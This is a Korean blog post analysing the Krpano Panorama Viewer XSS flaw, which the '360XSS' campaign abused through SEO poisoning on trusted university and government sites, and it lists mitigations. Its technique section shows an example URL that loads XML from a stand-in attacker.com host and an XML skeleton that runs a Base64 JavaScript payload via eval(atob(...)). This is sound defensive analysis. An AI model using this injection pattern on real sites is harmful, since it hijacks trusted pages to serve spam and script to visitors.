
약 1년 안쪽으로 정보를 구글에 검색하다보면 연관이 없는 사이트들의 이상 링크가 도출되는 경우가 있었다.
예를 들어 pxrn 을 검색한다고 했을 때, 다음과 같은 결과를 얻을 수 있다.

해당 검색 결과를 연결하는 경우 다음과 같은 페이지가 확인된다.

검색결과와 하등 관계 없는 페이지가 출력된다.
이는 예일대학교만의 문제가 아니라 다른 타대학교들과 정부, 뉴스 사이트 등 공신력 있는 많은 사이트들에서 발생하였다.
본 취약점은 2020년에 공개된 취약점으로 Krpano Panorama Viewer 이라는 이름의 360도 이미지 및 비디오를 호스팅하는데 사용되는 프레임워크 요청 passQueryParameters 파라미터를 입력하여 외부 XML 또는 자바스크립트를 로드하면서 발생하게 된다. 2025년부터 360XSS 라는 이름으로 대규모 공격 캠페인이 실제로 악용되어 위 사례처럼 확인되었다.
| 기준 | 해당 취약점 반영 |
| 영향 버전 | Krpano Panorama Viewer ≤ 1.20.8 |
| 공격 벡터 | 네트워크 - AV:N |
| 공격 복잡도 | 낮음 - AC:L |
| 필요 권한 | 없음 - PR:N |
해당 취약점은 분명 2020년에 발표되었는데 왜 2025년에 들어서야 이슈가 되었을까.
우선 CVSS 점수에서 6.1 로 평가되어 Log4j 나 React4j 처럼 크리티컬한 취약점이 아니라 중간 정도 되는 점수 취약점으로 패치 우선순위에서 크게 밀려났다. 그렇기에 Krpano 개발진도 "설정오류: misconfiguration" 정도로 치부하여 크게 대응하지 않았고, 무엇보다도 공격 벡터가 되는 passQueryParameters 기능은 기본적으로 활성화되지만 해당 360° 투어 기능을 제대로 사용하기 위한 경우가 많아 비활성화가 애초에 잘 설정되지 않았다.
또한 1.20.10 버전에서 부분적으로 allowlist 를 도입하였으나, 해당 목록 내 xml 를 추가하는 경우에도 해당 공격이 가능하여 결과적으로 많은 사이트들에서 살아남을 수 있었다.
기존 RXSS 공격 방식은 클릭을 유도하는 등의 방법을 토대로 공격이 수행되어, 유도하는 과정을 여러 방면으로 고민해야하는 단점이 있었으나, 공격자들이 구글 검색 엔진을 공격 벡터로 활용하는 방법을 생각해내어 취약한 Krpano 를 사용하는 페이지를 SEO Poisoning 을 통해 해당 결과를 상위에 노출시켰다.
그 결과, 여러 유명 사이트들에 대한 사람들의 신뢰성을 바탕으로 자연스럽게 구글 검색 사용자들에게 클릭을 유도하였고 포르노나 온라인 카지노, 다이어트 보조제 등 고수익을 낼 수 있는 스팸 광고에 적극적으로 사용되게 되었다.
... 이후 2025년 2월 360XSS 캠페인 상세 분석이 공개되며 공격자들이 기법을 따라하거나 변형하므로써 유행아닌 유행이된 것이라 봐도 무방하지 않을까 한다.
공격 기법 분석
Krpano 내 취약 파라미터인 passQueryParameters 값이 활성화(true) 상태인 경우, URL 내 파라미터를 Krpano 내부 설정으로 문자열 그대로 전달해준다. 이때 전달된 파라미터 값 중 xml=https://~~ 값은 외부 XML 파일을 로드할 수 있도록 해주며, 로드된 xml 파일 내 <onloaded> 이벤트 등을 이용하여 Base64로 인코딩된 JS 페이로드를 eval(atob('~~~') 형태로 실행이 가능하다.
앞서 작성한 것과 같이 1.20.10 이후 allowlist 내 xml 파라미터를 추가한 경우, 여전히 XSS는 가능하였다.
https://victim.com/virtualtour/?id=xxx&xml=https://attacker.com/malicious.xml
## 악성 XML 개요 ##
<krpano ...>
<action name="onloaded">
eval(atob('...Base64 encoded JS payload...'));
</action>
</krpano>
위 코드는 360XSS의 공격 URL 예시다.
굉장히 간단하지만 입력한 코드가 입력한 그대로 필터링되지 않는 상태에서 입력되어 문제가 발생한다. 전달된 파라미터 xml 주소에서 공격 xml 코드를 가지고 와서 그대로 넣는 모습이 압권 (...)
높은 확률로 XXE도 되지 않을까 싶긴하다. 근데 돈이 안되니까 뭐
조치 방안
조치 방안으로 allowlist 내 xml 를 포함하지 않는 방법도 있을 것이나, 서비스 구조 상 xml 을 사용해야 한다거나 1.20.10 이하 버전은 지원하지 않으니 다음 방안을 생각해보도록 하자.
1. Krpano 1.22.4 이상
2. 외부 XML 로딩 제한 및 passQueryParameters 값 필터링
3. passQueryParameters 값 false 로 설정
4. 미사용 Krpano 인스턴스 제거 및 접근 제한
5. 구글 검색 콘솔/엔진에서 스팸 페이지 인덱싱 확인 및 삭제요청
결과적으로 해당 CVE는 단순 설정 미흡으로 비롯된 취약점이나, 해당 취약점 공략이 가능한 신뢰 도메인 사이트들을 대규모로 악용이 가능하여 큰 파장을 일으켰다.
내가 봐왔던 취약점들과 일부 비슷하게 외부 리소스 로딩 설정 이나 입력된 값에 대한 검증이 설정되지 않아 일어난 것으로 생각된다. log4j 도, React2shell 도 사용자 입력 값을 검증 없이 처리해서 생긴 것이니까.
최선의 방어책은 모든 라이브러리를 최신버전으로 사용하는 것일 수 있겠으나, 현실적으로 매번 최신버전으로 업데이트하는 것은 굉장한 비용을 소모하므로 최소한 개발할 때나 혹은 패치를 진행할 때나 한번씩 설치된 패키지 목록을 보고, 아니면 확인된/보고된 취약점이 있다면 다시 한번 생각하고 진행하는게 좋지 않을까 하는 내 개인적인 생각이다.